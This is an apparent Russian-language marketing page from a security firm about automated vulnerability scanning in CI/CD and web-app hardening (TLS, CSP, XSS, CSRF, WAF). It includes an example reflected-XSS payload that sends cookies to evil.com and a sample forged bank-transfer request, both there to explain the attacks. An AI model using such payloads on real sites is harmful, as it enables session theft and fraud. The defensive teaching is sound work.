Вы запускаете CI/CD-пайплайн, а через неделю узнаёте, что продакшен скомпрометирован через уязвимость в старой версии lodash. Или находите CVE, о которой не знали. Мы настраиваем автоматические сканеры уязвимостей, которые находят такие проблемы до того, как ими воспользуются злоумышленники. Наш многолетний опыт — мы внедряли сканирование для проектов с аудиторией от 10 000 до 5 млн пользователей. Предотвращение одного инцидента может сэкономить от 500 000 рублей на простое и восстановлении. Получите консультацию по подбору инструментов для вашего стека.
Почему автоматическое сканирование уязвимостей необходимо?
Каждый день появляются десятки новых CVE. По данным OWASP, 70% атак используют известные уязвимости. Без автоматизации вы узнаёте об уязвимости постфактум — после взлома. Регулярное сканирование встраивается в процесс разработки: npm audit проверяет зависимости при каждом npm install, а Nuclei сканирует продакшен каждую ночь. Такой подход сокращает время реакции до нескольких часов и снижает риск инцидентов на 80%.
Какие уязвимости находит автоматическое сканирование?
-
Мисконфигурация CSP и CORS — неправильные заголовки безопасности открывают доступ к данным. DAST-сканеры (OWASP ZAP, Nikto) проверяют корректность настроек.
-
Устаревшие библиотеки — SCA-сканеры (Trivy, Snyk) находят пакеты с известными уязвимостями. Пример:
[email protected] содержит CVE-2021-23337, которую Trivy детектит за секунды.
-
Инъекции в коде — SAST-сканеры (Semgrep, SonarQube) выявляют SQL-инъекции, XSS и path traversal до деплоя. Semgrep с правилами OWASP Top 10 покрывает 90% типовых ошибок.
Как настроить сканирование уязвимостей в CI/CD?
Рассмотрим один кейс — OWASP ZAP в GitHub Actions. Настройка занимает день и даёт baseline-сканирование с проверкой на OWASP Top 10.
# .github/workflows/security-scan.yml
name: Security Scan
on:
schedule:
- cron: '0 3 * * 1'
push:
branches: [main]
jobs:
zap-scan:
runs-on: ubuntu-latest
steps:
- name: ZAP Baseline Scan
uses: zaproxy/[email protected]
with:
target: 'https://staging.example.com'
rules_file_name: '.zap/rules.tsv'
cmd_options: '-a -j'
- name: Upload Report
uses: actions/upload-artifact@v3
with:
name: zap-report
path: report_html.html
ZAP генерирует HTML-отчёт с детальным описанием уязвимостей и рекомендациями. Мы настраиваем исключения для ложных срабатываний (файл .zap/rules.tsv) и связываем артефакт с пайплайном. Доля ложных срабатываний после калибровки не превышает 5%.
Шаги по настройке сканера уязвимостей
- Аудит текущего стека и выбор инструментов (DAST/SAST/SCA).
- Развёртывание сканера в тестовой среде.
- Настройка правил сканирования и исключений.
- Интеграция с CI/CD (GitHub Actions, GitLab CI или Jenkins).
- Настройка уведомлений о находках High/Critical в Slack/Telegram.
- Документирование конфигураций и обучение команды.
- Мониторинг и корректировка в течение первого месяца.
Nuclei — шаблонное сканирование
Nuclei подходит для быстрой проверки на конкретные CVE. Он выполняет 7000+ шаблонов и находит уязвимости за минуты.
# Установка
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Обновление шаблонов
nuclei -update-templates
# Сканирование по категориям
nuclei -u https://target.example.com \
-t cves/ \
-t misconfigurations/ \
-t exposures/ \
-severity critical,high \
-o nuclei_report.json \
-json
Semgrep SAST в CI/CD
Semgrep анализирует код за секунды и поддерживает 30+ языков. Мы подключаем правила OWASP Top Ten и фреймворков.
# .github/workflows/sast.yml
- name: Semgrep SAST
uses: semgrep/semgrep-action@v1
with:
config: >-
p/owasp-top-ten
p/php
p/laravel
p/javascript
env:
SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
Dependency Scanning
# PHP
composer audit
# Node.js
npm audit --audit-level=high
npx audit-ci --high
# Python
pip-audit --output=json -o pip-audit.json
# Docker-образы
trivy image myapp:latest \
--severity HIGH,CRITICAL \
--format json \
-o trivy-report.json
Управление результатами (False Positive)
Для OWASP ZAP создаём файл исключений .zap/rules.tsv с правилами игнорирования.
10016 IGNORE # Web Browser XSS Protection Not Enabled (устаревший)
10021 IGNORE # X-Content-Type-Options Missing (уже настроен)
90033 IGNORE # Loosely Scoped Cookie — false positive для /api
| Задача |
Рекомендуемый инструмент |
Альтернативы |
| DAST (динамическое сканирование) |
OWASP ZAP |
Nikto, Burp Suite |
| SAST (статический анализ) |
Semgrep |
SonarQube, CodeQL |
| SCA (проверка зависимостей) |
Trivy |
Snyk, Dependabot |
| Шаблонное сканирование CVE |
Nuclei |
Nmap NSE |
| Мониторинг безопасности |
Watchtower (Docker) |
Sysdig, Falco |
Сравнение инструментов
| Инструмент |
Тип |
Скорость |
Языки/платформы |
Интеграция с CI/CD |
| OWASP ZAP |
DAST |
Средняя |
Любое веб-приложение |
GitHub Actions, Jenkins |
| Nuclei |
DAST/шаблоны |
Высокая |
Любой HTTP |
CLI, GitHub Actions |
| Semgrep |
SAST |
Высокая |
30+ языков |
GitHub Actions, GitLab CI |
| SonarQube |
SAST |
Средняя |
27+ языков |
GitLab CI, Jenkins |
| Trivy |
SCA/контейнеры |
Высокая |
Docker, OS, языки |
CLI, GitHub Actions |
DAST-сканеры выявляют на 30% больше уязвимостей runtime по сравнению с SAST. Однако SAST находит проблемы на ранних этапах, что снижает стоимость исправления. Комбинированный подход даёт полную картину.
Срок реализации
- OWASP ZAP baseline в GitHub Actions: 1 день
- Nuclei + уведомления: 1 день
- Semgrep SAST + Dependency scanning: 1–2 дня
- SonarQube full setup: 2–3 дня
Что входит в работу
- Настройка 2–3 сканеров под ваш стек
- Интеграция с CI/CD (GitHub Actions, GitLab CI)
- Настройка уведомлений в Slack/Telegram о находках High/Critical
- Документация по конфигурациям и процессам
- Обучение команды (1–2 часа)
- Месяц поддержки после запуска
Свяжитесь с нами, чтобы мы оценили ваш проект и предложили оптимальный набор инструментов. Получите консультацию — расскажем, какие сканеры лучше всего подходят под ваш стек. Инвестиция в безопасность избавит от многомиллионных потерь от взломов.
Безопасность веб-приложений: HTTPS, CSP, XSS, CSRF, WAF, защита от DDoS
Взлом сайта редко выглядит как в кино. Чаще это: бот нашёл endpoint /admin/export без авторизации, скачал базу клиентов, закрыл соединение. Или: через устаревший плагин WordPress залил веб-шелл, теперь сервер рассылает спам. Или тише: XSS в поле комментария позволяет красть session cookies администраторов, и никто не замечает месяцами. Мы такие случаи разбирали десятками — каждый раз уязвимость можно было закрыть на этапе разработки или аудита.
Безопасность веб-приложений — не одна настройка. Это слои защиты, каждый из которых закрывает отдельный класс атак. Закажите аудит — оценим проект и дадим план работ под ключ за 2–4 недели.
HTTPS и правильная конфигурация TLS
HTTPS — минимальный обязательный уровень. Но «есть SSL-сертификат» и «правильно настроен TLS» — разные вещи.
В конфигурации Nginx/Apache проверяем:
- Протоколы: только TLS 1.2 и TLS 1.3, SSLv3 и TLS 1.0/1.1 — отключены
- Cipher suites: предпочитать ECDHE (Forward Secrecy), убрать NULL, RC4, DES, 3DES
- HSTS (
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — браузер больше не делает незащищённых запросов
- OCSP Stapling — ускоряет проверку отзыва сертификата
- Redirect 301 с HTTP на HTTPS — и в конфиге сервера, и в коде (двойной редирект = потеря SEO-веса)
Проверка: SSL Labs (ssllabs.com/ssltest) должен показывать A или A+. Если B — конфигурация слабая.
Let's Encrypt + Certbot для продакшена — стандарт. Автоматическое обновление через certbot renew в cron. Wildcard-сертификат для поддоменов через DNS-01 challenge.
Content Security Policy: самая мощная и самая сложная защита
CSP — HTTP-заголовок, который говорит браузеру, откуда разрешено загружать ресурсы. Правильно настроенный CSP полностью блокирует большинство XSS-атак, даже если уязвимость есть в коде.
Проблема: сломать сайт неправильным CSP проще простого. default-src 'none' — и перестают работать шрифты, картинки, JS. Поэтому начинаем с Content-Security-Policy-Report-Only — CSP логирует нарушения, но ничего не блокирует. Смотрим репорты 2–4 недели, дорабатываем политику, потом переключаем на боевой режим.
Пример реальной политики для сайта с Google Analytics, Google Fonts и Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — случайная строка, генерируется на сервере для каждого запроса. Inline-скрипты с правильным nonce разрешены, без nonce — заблокированы. Это ломает XSS через <script>alert(1)</script> полностью.
'unsafe-inline' в style-src — компромисс для inline-стилей. Лучше убрать, перенеся все стили в CSS-файлы, но это требует рефакторинга.
Почему XSS остаётся самой частой уязвимостью?
XSS (Cross-Site Scripting) — инъекция JS-кода через пользовательский ввод. По статистике OWASP, XSS входит в топ-3 уязвимостей веб-приложений. Три типа:
| Тип XSS |
Пример |
Защита |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Эскейпинг вывода, CSP |
| Stored |
Комментарий с кодом, сохранённый в базе |
Валидация ввода, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Избегать innerHTML, использовать textContent |
Защита: никогда не вставлять пользовательский ввод в HTML без эскейпинга. В PHP — htmlspecialchars() с ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безопасен, {!! $var !!} — опасен. В React — {variable} безопасен, dangerouslySetInnerHTML — опасен. Для Rich Text — htmlpurifier на PHP или DOMPurify в браузере.
Типичный кейс: интернет-магазин с XSS в форме отзыва
Клиент обратился после того, как через отзыв на товар злоумышленник украл куки администратора. Мы обнаружили, что поле "отзыв" не экранировалось. Исправили: добавили `htmlspecialchars()` на сервере и `Content-Security-Policy` с nonce для скриптов. После повторного сканирования — 0 уязвимостей.
CSRF: защита форм и API
CSRF (Cross-Site Request Forgery) — злоумышленник заставляет браузер жертвы отправить запрос от её имени. Пример: пользователь авторизован в банке, открывает вредоносную страницу, она делает fetch('https://bank.ru/transfer?to=evil&amount=50000') — если банк не защищён, деньги уходят.
CSRF-токены — стандартная защита для форм: сервер генерирует случайный токен, хранит в сессии, вставляет в форму как hidden field. При POST-запросе токен сверяется. Злоумышленник не знает токен. Laravel делает это автоматически через @csrf.
SameSite cookies — современная защита: SameSite=Strict или SameSite=Lax запрещает браузеру отправлять cookie в cross-site запросах. Работает во всех современных браузерах.
API без сессий (JWT, Bearer tokens) — CSRF неактуален, если токен не хранится в cookie (а в Authorization header или localStorage). Но localStorage уязвим к XSS — поэтому для чувствительных данных предпочтительны HttpOnly cookies с SameSite.
WAF и защита от DDoS
WAF (Web Application Firewall) — фильтрует HTTP-трафик на предмет атак: SQL injection, XSS, path traversal, известные exploit patterns. Варианты:
- Cloudflare WAF — облачный, правила OWASP Top 10 из коробки, кастомные правила через выражения. Managed Rules автоматически блокируют новые угрозы.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гибко, но требует настройки и мониторинга ложных срабатываний.
- AWS WAF — для инфраструктуры на AWS, интегрируется с CloudFront и ALB.
DDoS-защита. Cloudflare на уровне L3/L4/L7 — де-факто стандарт для большинства сайтов. Автоматическое смягчение volumetric атак, Under Attack Mode при активной атаке. Для критичной инфраструктуры — Cloudflare Magic Transit или специализированные решения (Qrator, StormWall для российского рынка).
Rate Limiting на уровне приложения — дополнительный слой. Laravel ThrottleRequests middleware: 60 запросов в минуту на IP для общих endpoint, 5 — для /login и /password/reset. Redis как хранилище счётчиков — обязательно для горизонтально масштабируемых систем (иначе лимиты не синхронизируются между серверами).
Другие обязательные меры
Заголовки безопасности. Помимо CSP: X-Frame-Options: DENY (защита от clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (ограничение доступа к API браузера: камера, микрофон, геолокация).
SQL injection. Prepared statements везде. Никаких конкатенаций пользовательского ввода в SQL-строки. ORM (Eloquent, Doctrine) защищает по умолчанию. $wpdb->prepare() в WordPress — обязательно.
Обновления зависимостей. composer audit и npm audit — в CI/CD пайплайн. Dependabot или Renovate для автоматических PR с обновлениями. Критичные CVE — патчить в течение 24 часов.
Секреты и конфигурация. .env — никогда в Git. Секреты в production — через переменные окружения CI/CD (GitHub Secrets, GitLab CI Variables) или HashiCorp Vault. Проверка на утечки: git-secrets, truffleHog в pre-commit hooks.
Как мы работаем
-
Аудит — сканирование кода, конфигураций, зависимостей, ручная проверка бизнес-логики.
-
Проектирование — план устранения уязвимостей, подбор стека (CSP, WAF, rate limiting).
-
Реализация — настройка TLS, CSP, заголовков, внедрение Rate Limiting, WAF.
-
Тестирование — повторный пентест, нагрузочное тестирование, проверка ложных срабатываний.
-
Деплой и мониторинг — включение боевого CSP, настройка алертов, обучение команды.
Что входит в работу
- Отчёт с найденными уязвимостями и рекомендациями (PDF + code snippets)
- Готовая конфигурация TLS (Nginx/Apache)
- Политика CSP с режимом Report-Only и боевой версией
- Настройка WAF и Rate Limiting
- План обновлений зависимостей
- Доступы к инструментам мониторинга (Sentry, Datadog)
- 30 дней постаудит-поддержки (консультации, правки)
Сроки и стоимость
| Тип работ |
Срок |
Диапазон стоимости |
| Security-аудит + hardening (заголовки, TLS, обновления) |
1–2 недели |
от 60 000 ₽ |
| Внедрение CSP (Report-Only → продакшен) |
2–4 недели |
от 90 000 ₽ |
| Настройка WAF + Rate Limiting + DDoS защита |
1–2 недели |
от 70 000 ₽ |
| Комплексный security review + пентест |
3–6 недель |
от 200 000 ₽ |
Бюджет рассчитывается индивидуально — напишите нам, чтобы оценить проект.